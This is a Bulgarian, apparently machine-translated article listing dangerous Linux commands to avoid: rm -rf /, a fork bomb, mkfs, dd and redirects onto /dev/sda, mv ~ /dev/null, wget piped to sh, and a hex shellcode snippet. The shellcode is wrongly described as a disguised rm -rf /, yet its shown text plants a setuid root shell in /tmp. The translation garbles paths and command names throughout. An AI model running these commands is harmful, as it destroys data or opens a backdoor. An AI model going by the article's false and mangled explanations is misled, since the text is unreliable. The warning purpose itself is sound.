8 смъртоносни команди, които никога не бива да работите под Linux
Командите на терминала на Linux са мощни и Linux няма да ви пита за потвърждение, ако изпълните команда, която ще прекъсне вашата система. Не е необичайно да виждате онлайн троловете, които препоръчват нови потребители на Linux да изпълняват тези команди като шега.
Научаването на командите, които не трябва да се изпълняват, може да ви помогне да се защитите от троловете, като същевременно увеличите разбирането си за това как работи Linux. Това не е изчерпателно ръководство и командите тук могат да бъдат ремиксирани по различни начини.
Имайте предвид, че много от тези команди ще бъдат опасни само ако са с представка Sudo на Ubuntu - те няма да работят по друг начин. В други дистрибуции на Linux повечето команди трябва да се изпълняват като root.
Кредит с изображения: Череп и кръстосани кости ремиксирани от Джейсън Форд в Twitter
rm -rf / - Изтрива всичко!
Командата rm -rf / изтрива всичко възможно, включително файловете на твърдия ви диск и файловете на свързаните преносими устройства. Тази команда е по-разбираема, ако е разбита:
RM - Премахнете следните файлове.
-RF - Стартирайте rm рекурсивно (изтрийте всички файлове и папки в указаната папка) и премахнете всички файлове, без да ви подканя.
/ - Указва на rm да стартира в главната директория, която съдържа всички файлове на компютъра ви и всички монтирани мултимедийни устройства, включително отдалечени файлове и преносими устройства.
Linux с удоволствие ще се подчинява на тази команда и ще изтрие всичко без да ви подкани, затова бъдете внимателни, когато го използвате! Командата rm може да се използва и по други опасни начини - rm -rf ~ ще изтрие всички файлове във вашата домашна папка, докато rm -rf. * ще изтрие всичките ви конфигурационни файлове.
Урокът: Внимавайте rm -rf.
Прикрит rm -rf /
Ето още един фрагмент от код, който е в мрежата:
char esp [] __attribute__ ((раздел (“. текст”))) / * e.s.p
освобождаване * /
X64 x64 x64 x64 x64 x64 x64 x64 x64
"\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99"
"\ XDF \ X81 \ x68 \ x8d \ X92 \ XDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ X56 \ x08 \ xf7 \ X56 \ x0c \ x83 \ xc4 \ X74 \ X56"
"\ X8d \ x73 \ x08 \ X56 \ X53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ X62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ X2d \ x63 \ x00"
„Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; "
Това е шестнадесетичната версия на rm -rf / - Изпълнението на тази команда ще унищожи вашите файлове, както ако сте изпълнили rm -rf /.
Урокът: Не пускайте странни, очевидно прикрити команди, които не разбирате.
: () : |: & ;: - Бомбата на вилицата
Следният ред е проста, но опасна, bash функция:
: () : |: & ;:
Този кратък ред определя функция на черупката, която създава нови копия на себе си. Процесът непрекъснато се репликира, а копията му непрекъснато се възпроизвеждат, бързо заемайки цялото CPU време и памет. Това може да доведе до замразяване на компютъра. Това е основно атака за отказ на услуга.
Урокът: Баш функциите са мощни, дори много къси.
Кредит за изображението: Dake в Wikimedia Commons
mkfs.ext4 / dev / sda1 - Форматира твърд диск
Най- mkfs.ext4 / dev / sda1 командата е проста за разбиране:
mkfs.ext4 - Създайте нова файлова система ext4 на следното устройство.
/ Сътрудничество / sda1 - Определя първия дял на първия твърд диск, който вероятно се използва.
Взети заедно, тази команда може да бъде еквивалентна на текущия формат c: на Windows - ще изтрие файловете на първия ви дял и ще ги замени с нова файлова система.
Тази команда може да идва и в други форми - mkfs.ext3 / dev / sdb2 ще форматира втория дял на втория твърд диск с файловата система ext3.
Урокът: Внимавайте да изпълнявате команди директно на устройства с твърд диск, които започват с / dev / sd.
команда> / dev / sda - пише директно на твърд диск
Най- команда> / dev / sda линия работи подобно - изпълнява команда и изпраща изхода на тази команда директно на първия ви твърд диск, записвайки данните директно на твърдия диск и повреждайки файловата система.
команда - Изпълнение на команда (може да бъде всяка команда.)
> - Изпратете изхода на командата на следното местоположение.
/ Сътрудничество / SDA - Напишете изхода на командата директно на устройството с твърд диск.
Урокът: Както по-горе, внимавайте да изпълнявате команди, които включват устройства с твърд диск, започващи с / dev / sd.
dd if = / dev / random от = / dev / sda - пише нежелана поща на твърд диск
Най- dd, ако = / dev / random от = / dev / sda линия също ще унищожи данните на един от вашите твърди дискове.
дд - Извършване на ниско ниво на копиране от едно място на друго.
ако = / сътрудничество / случайна - Използвайте / dev / random (случайни данни) като вход - можете да видите и местоположения като / dev / zero (нули).
на = / Dev / SDA - Изведете на първия твърд диск, като замените неговата файлова система със случайни данни за боклук.
Урокът: dd копира данни от едно място на друго, което може да бъде опасно, ако копирате директно на устройство.
Кредит за изображението: Мат Рудж на Flickr
mv ~ / dev / null - Премества вашата домашна директория в черна дупка
/ dev / null е друго специално място - преместването на нещо в / dev / null е същото като унищожаването му. Помислете за / dev / null като черна дупка. по същество, mv ~ / dev / null изпраща всичките ви лични файлове в черна дупка.
MV - Преместете следния файл или директория на друго място.
~ - Представя цялата ви начална папка.
/ Сътрудничество / нула - Преместете домашната папка в / dev / null, като унищожите всичките си файлове и изтриете оригиналните копия.
Урокът: Символът ~ представлява вашата домашна папка и преместването на неща в / dev / null ги унищожава.
wget http://example.com/something -O - | sh - Изтегляне и стартиране на скрипт
Горната линия изтегля скрипт от мрежата и го изпраща на sh, който изпълнява съдържанието на скрипта. Това може да бъде опасно, ако не сте сигурни какво е скрипта или ако не се доверявате на неговия източник - не изпълнявайте ненадеждни скриптове.
Wget - Изтегля файл. (Може да видите и къдри на мястото на wget.)
http://example.com/something - Изтеглете файла от това местоположение.
| - Изпратете (изпратете) изхода на командата wget (файла, който сте изтеглили) директно на друга команда.
од - Изпратете файла на командата sh, който я изпълнява, ако е bash скрипт.
Урокът: Не изтегляйте и не стартирайте ненадеждни скриптове от мрежата, дори и с команда.
Познавате ли други опасни команди, които нови (и опитни) потребители на Linux не бива да изпълняват? Оставете коментар и ги споделете!